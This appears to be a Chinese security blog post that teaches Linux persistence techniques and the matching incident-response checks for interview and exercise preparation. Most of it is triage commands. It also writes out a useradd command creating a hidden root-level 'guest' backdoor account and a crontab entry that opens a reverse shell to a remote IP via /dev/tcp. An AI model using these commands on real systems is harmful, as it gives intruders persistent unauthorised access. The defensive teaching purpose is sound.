别当初级猴子了,五分钟教你linux维权和排查思路,助你圆梦4k!

本来麋鹿是不想写这些维权手段和应急的,一方面麋鹿觉得大部分维权手法实战中用不到,比如对于linux来讲,一般只需要把做个好的马子就行了,如果需要隐藏进程 or tcp/udp上个rootkit就行,rootkit的介绍和部分原理如下

初探rookit(另一种角度看维权) (qq.com)

从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)

再一方面这些东西都已经老生常谈了,写起来有点无聊,但是耐不住hw和安服面试经常问这些东西,而公众号有很大部分读者都是学生,会面临hw or 就业,而这个公众号的初心就是为了传播我们 所闻之道,所攻之术,希望能帮读书的朋友们拿到一个不错的薪资,那就加一些其他的手法和对应的排查思路,聊聊喽。

和上一篇文章windows结构一样--先讲维权手法再讲如何排查。

你不知道的win应急思路!从维权到排查,面试必问!不来看看? (qq.com)

本文目录如下

基础配置检查

查看系统信息

IP地址:

ip addr show

用户

cat /etc/passwd

开机时间

uptime

系统版本

cat /etc/os-release

Hostname

hostname

服务器SN

dmidecode -t system

太多了不截图了

性能情况

CPU使用率

top 或 htop

登录用户信息

who

CPU TOP 15

ps -eo %cpu,%mem,comm --sort=-%cpu | head -16

内存 TOP 15

ps -eo %cpu,%mem,comm --sort=-%mem | head -16

磁盘剩余空间检查:

df -h

硬盘挂载

mount 或 cat /etc/fstab

添加用户和密码

添加一个名为 guest 的新用户,权限为root(uid为0)

useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

排查用户

查询特权用户特权用户(uid 为0)

awk -F: '$3==0{print $1}' /etc/passwd

查询可以远程登录的帐号信息

awk '/\$1|\$6/{print $1}' /etc/shadow

查看哪些用户账户是可以通过 shell 登录的

awk -F: '{if($7!="/usr/sbin/nologin")print $1,$7}' /etc/passwd

排查空密码用户

awk -F: 'length($2)==0 {print $1}' /etc/shadow

排查可登录用户

cat /etc/passwd

passwd文件修改日期

stat /etc/passwd

sudoers定义的规则和权限

cat /etc/sudoers

登录情况

last

计划任务

echo "* * * * * /bin/bash -i >& /dev/tcp/192.168.1.18/8888 0>&1" | sudo crontab -

排查

crontab  -l

指定用户

crontab -u root -l

系统任务计划

ls -la /etc/cron*

任务计划文件创建时间,这个偷懒不截图了

stat /etc/cron*

看base64编码的计划任务

grep 'base64' /var/spool/cron/crontabs/*

网络

网络连接: netstat -ant 或 ss -ant

TCP连接状态: netstat -ant 或 ss -ant

看外联

netstat -tpnl

查看系统进程情况

netstat -anop

查看指定pid的进程信息

ls -alt /proc/1862

查看进程所打开的文件

常用软件检查

rpm -qa

检查hosts

cat /etc/hosts

端口监听: netstat -tulnp 或 ss -tulnp

对外开放端口

nmap localhost

DNS Server

cat /etc/resolv.conf

ARP

arp -a

iptables 防火墙

iptables -L -n -v

检查rootkit

再放一遍rootkit的介绍和安装

初探rookit(另一种角度看维权) (qq.com)

检查可疑的内核模块

lsmod

检查内核符号表

哦,对了,什么是内核符号表,碰巧麋鹿在下面这一篇也提到过

从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)

排查

cat /proc/kallsyms

工具

apt-get install rkhunter    # Debian/Ubuntu 系统yum install rkhunter        # Red Hat/CentOS 系统
rkhunter --updaterkhunter --check

检查 .ko Rootkit 模块

find / -name "*.ko"

检查隐藏文件

ls -a

系统所有文件

find /home -name ".*" -print

检查服务

运行的服务

systemctl | grep running

服务创建时间

stat /etc/systemd/system/*

忘了说启动项

cat /etc/init.d/rc.local  cat /etc/rc.local ls -alt /etc/init.d

文件相关

#查找一天内添加的文件

find / -ctime 0 

#查找权限为777的文件

find /tmp -perm 777

一天内修改的文件

find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +1 | xargs ls -la

大于200mb的文件

find / -type f -size +200M

临时文件

ls -la /tmp /var/tmp /dev/shm

找出当前正在运行的进程中,那些其可执行文件已经不再文件系统中的进程

ps aux | awk '{print $11}' | sort | uniq | while read cmd; do if [ ! -f $cmd ]; then echo $cmd; fi; done

整个系统里查看有setuid 权限的文件(可能用于提权)

find / -perm -4000 -print

一些黑客工具

哈哈,为了节目效果,下面这几条命令麋鹿选择在kali运行一下

find / -name 工具名,例如nmap

被篡改的文件。例如wget curl

which wget

which curl

环境变量检查

环境变量:

env

path

echo $PATH

LD_PRELOAD / LD_ELF_PRELOAD / LD_AOUT_PRELOAD / PROMPT_COMMAND / LD_LIBRARY_PATH / 

LD_PRELOAD是什么东西,以及原理看下面这一篇

从绕过disable_functions到关于so的一些想法 (qq.com)

echo $LD_PRELOAD

看LD_PRELOAD引用情况,举例

grep -r "LD_PRELOAD" /etc/*grep -r "LD_PRELOAD" /home/*/.bashrcgrep -r "LD_PRELOAD" /home/*/.bash_profile

排查SSH相关

SSH 爆破检查

检查 /var/log/auth.log 或 /var/log/secure 中的异常登录尝试

SSHD 检测

systemctl status sshd

SSH 后门配置检查

检查 /etc/ssh/sshd_config 文件。

SSH inetd后门检查

检查 /etc/inetd.conf 文件(如果存在)。

SSH key检查

检查 ~/.ssh/authorized_keys 文件。

Webshell 检查

工具,河马,牧云,D盾,Shell Detector

SHELLPUB.COM 专注查杀,永久免费

GitHub - chaitin/cloudwalker: CloudWalker Platform

D盾防火墙 (d99net.net)

Web Shell Detector

手动查杀垃圾的webshell(比如有base64这些特征的)

php里有base64的

find / -name "*.php" -exec grep -l 'base64_decode' {} \;

jsp 里有cmd的

find / -name "*.jsp" -exec grep -l 'cmd.exe' {} \;

有能力和兴趣的读者可以自行收集一些特征

挖矿

很常见

看cpu占有率

top

进阶一点,比如我们遇到了一些出名的挖矿病毒,比如H2Miner,WorkMiner之流

那我们不就可以直接搜索名字吗

挖矿文件检查:find / -name "miner"

挖矿进程检查:ps aux | grep -i 'miner'

WorkMiner检测:ps aux | grep -i 'work'

Ntpclient检测:ps aux | grep -i 'ntp'

这篇文章不知不觉又写长了,但还有太多维权手法没来得及讲述,而且安全加固也没说,可是文章写长了没人看,经常一篇文章阅读不过千,而一些水文上万的阅读,多少有点失落,那就这样吧,剩下的东西找个时间再开一篇

希望各位读者看完我们的文章以后自己去实践一下,只有学到脑子里的东西才是自己的,如果遇到困难,可以加本人微信(i_still_be_milu)与麋鹿师傅一起探讨,炼心之路,就在脚下,我们一起成长。

同时欢迎各位同仁关注麋鹿安全,我们的文章会第一时间发布在公众号平台,如果不想错过我们新鲜出炉的好文,那就请扫码关注我们的公众号!(附上本人微信,欢迎各位同仁加我微信,和我探讨安全,同时欢迎同仁们的不吝指正)

img

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值